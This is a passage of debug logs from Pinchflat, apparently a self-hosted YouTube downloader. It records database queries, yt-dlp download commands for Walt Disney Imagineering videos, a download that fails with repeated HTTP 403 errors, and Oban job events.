s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:42:22.802 [debug] Running yt-dlp command for action: get_downloadable_status 19:42:22.803 [debug] QUERY OK source="settings" db=0.0ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:42:22.803 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:42:22.803 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:42:22.803 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/bc/dc/bcdc63009d9fe28d1914cc5b155a003796db7a4495d9f162adba36458ab5f5a6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:42:27.659 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/bc/dc/bcdc63009d9fe28d1914cc5b155a003796db7a4495d9f162adba36458ab5f5a6.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:42:27.659 [debug] Running yt-dlp command for action: download 19:42:27.659 [debug] QUERY OK source="settings" db=0.1ms idle=1137.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:42:27.660 [debug] QUERY OK source="settings" db=0.0ms idle=1138.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:42:27.660 [debug] QUERY OK source="settings" db=0.0ms idle=1138.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:42:27.660 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/11/0a/110ae8881020cc137aca4d4106457783b86e1c4b6c880d7912aa2cceab1e0932.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:42:36.153 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=4H_VF0Dw4gA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/11/0a/110ae8881020cc137aca4d4106457783b86e1c4b6c880d7912aa2cceab1e0932.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-18. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-17. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-16. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-15. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-14. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-13. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-12. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-11. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-10. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-9. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-8. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-7. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-6. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-5. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-4. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-3. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-2. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-1. Skipping... ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96-0. Skipping... ERROR: unable to download video data: HTTP Error 403: Forbidden 19:42:36.153 [error] yt-dlp download error for media item #13020: "ERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-18. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-17. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-16. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-15. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-14. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-13. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-12. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-11. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-10. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-9. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-8. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-7. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-6. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-5. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-4. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-3. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-2. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-1. Skipping...\nERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96-0. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\n" 19:42:36.154 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":13020},"id":1733,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":13354807,"event":"job:exception","queue_time":810123,"attempt":11,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:42:50.074 [info] {"source":"oban","duration":705,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:00.010 [info] {"source":"oban","duration":162,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:43:20.075 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:43:50.076 [info] {"source":"oban","duration":748,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:00.011 [info] {"source":"oban","duration":183,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:44:20.078 [info] {"source":"oban","duration":699,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:50.079 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:44:50.977 [info] {"args":{"id":11511},"id":1736,"meta":{},"system_time":1775000690977299276,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":8,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:44:50.977 [debug] QUERY OK source="media_items" db=0.1ms idle=1455.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11511] 19:44:50.977 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:44:50.978 [debug] QUERY OK source="sources" db=0.1ms idle=1008.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:44:50.978 [debug] QUERY OK source="media_profiles" db=0.2ms idle=899.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:44:50.979 [debug] QUERY OK source="media_items" db=0.2ms idle=8.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11511] 19:44:50.979 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11511] 19:44:50.979 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:44:50.980 [debug] QUERY OK source="settings" db=0.1ms idle=1.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:50.980 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:50.980 [debug] Running yt-dlp command for action: get_downloadable_status 19:44:50.980 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:50.981 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:50.981 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:50.981 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/46/39/463988f58e8b388c25910e0775833cef6dfb8d9da97ec0c4b3ecef6f8c6bdd3a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:44:54.656 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/46/39/463988f58e8b388c25910e0775833cef6dfb8d9da97ec0c4b3ecef6f8c6bdd3a.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 19:44:54.656 [debug] Running yt-dlp command for action: download 19:44:54.657 [debug] QUERY OK source="settings" db=0.1ms idle=682.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:54.657 [debug] QUERY OK source="settings" db=0.1ms idle=135.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:54.657 [debug] QUERY OK source="settings" db=0.1ms idle=135.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:44:54.657 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/21/5c/215ce0f4e5a9d5aef07014ba6d4b661c51af4cf8b4417b839812b7ce54bbeb73.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 19:45:00.012 [info] {"source":"oban","duration":202,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:45:20.080 [info] {"source":"oban","duration":1408,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:45:50.082 [info] {"source":"oban","duration":700,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:00.013 [info] {"source":"oban","duration":178,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:46:20.083 [info] {"source":"oban","duration":466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:46:50.084 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:00.014 [info] {"source":"oban","duration":182,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:47:20.086 [info] {"source":"oban","duration":728,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:47:50.087 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 19:48:00.015 [info] {"source":"oban","duration":156,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 19:48:13.192 [info] {"args":{"id":12518},"id":1734,"meta":{},"system_time":1775000893192171833,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":11,"tags":["media_item","media_fetching","show_in_dashboard"]} 19:48:13.192 [debug] QUERY OK source="media_items" db=0.2ms idle=1670.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [12518] 19:48:13.192 [info] User scripts lifecyle file either not present or is empty. Skipping. 19:48:13.193 [debug] QUERY OK source="sources" db=0.2ms idle=1671.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 19:48:13.193 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1009.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:48:13.194 [debug] QUERY OK source="media_items" db=0.2ms idle=8.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [12518] 19:48:13.194 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.3ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [12518] 19:48:13.194 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 19:48:13.195 [debug] QUERY OK source="settings" db=0.1ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:48:13.195 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:48:13.195 [debug] Running yt-dlp command for action: get_downloadable_status 19:48:13.195 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:48:13.196 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:48:13.196 [debug] QUERY OK source="settings" db=0.0ms idle=1.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 19:48:13.196 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --simulate --skip-download --print-to-file %(.{live_status})j 